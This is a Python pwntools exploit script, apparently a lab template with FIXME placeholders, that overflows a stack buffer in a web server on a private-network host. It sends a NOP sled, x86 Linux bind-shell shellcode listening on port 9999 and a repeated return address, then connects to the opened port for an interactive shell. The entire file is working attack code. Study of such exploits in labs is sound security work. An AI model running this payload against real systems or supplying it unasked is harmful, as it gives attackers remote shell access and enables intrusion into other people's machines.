#!/usr/bin/env python3

from pwn import *

# FIXME
host = '192.168.195.168'

# FIXME
service_port = 80

# FIXME - bind PORT
bind_port = 9999

# FIXME - add b"...." for each line of shellcode after copy pasting from PEDA
# x86/linux/bindport: 84 bytes
# port=9999, host=192.168.195.168
shellcode = (
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
    "\x43\x52\x66\x68\x27\x0f\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
    "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
    "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
    "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xcd\x80"
).encode('latin-1')

# size of nop sled = total buffer - shellcode size - repeated return address
# (524+4)-35-(50*4)
# FIXME
controlled_address = p32(0xffffce94) # pack little endian

# FIXME
repeat_address = 50;

repeated_return_address = controlled_address*repeat_address

#FIXME
total_exploit_len = 524+4 # offset + 4 bytes to overwrite return address

sled_len = total_exploit_len - len(shellcode) - (repeat_address*4)
print(f'sled len = {sled_len}')
NOPSled = b"\x90"*sled_len # asm('nop')
eol = b'\r\n' # required for Web server to end request

# create exploit code
exploit_code = NOPSled + shellcode + repeated_return_address + eol
print(f'sending exploit with len {len(exploit_code)}')

io = connect(host, service_port)
# send the exploit code to target
io.send(exploit_code)

# target exploited...
print(f'Target {host} exploited... connecting to port: {bind_port}')

# now connect to the shellcode PORT on victim
io = connect(host, bind_port)
io.interactive()


